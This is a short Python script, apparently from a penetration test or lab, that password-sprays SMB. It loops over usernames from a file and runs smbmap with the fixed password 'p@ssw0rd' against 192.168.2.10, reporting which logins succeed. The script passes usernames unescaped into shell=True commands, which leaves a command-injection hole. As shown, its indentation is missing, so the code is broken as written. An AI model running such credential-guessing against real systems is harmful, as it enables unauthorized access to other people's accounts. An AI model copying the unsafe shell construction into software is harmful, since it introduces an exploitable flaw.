import subprocess
# read in users and strip the newlines
with open('/tmp/users.txt') as f:
userlist = [line.rstrip() for line in f]
# get list of commands for each user
cmds = []
for user in userlist:
cmds.append('smbmap -u {} -p p@ssw0rd -H 192.168.2.10'.format(user))
# results from the commands
results=[]
# execute the commands
for cmd in cmds:
results.append(subprocess.call(cmd, shell=True))
# check for which worked
for i,result in enumerate(results):
if result == 0:
print(cmds[i])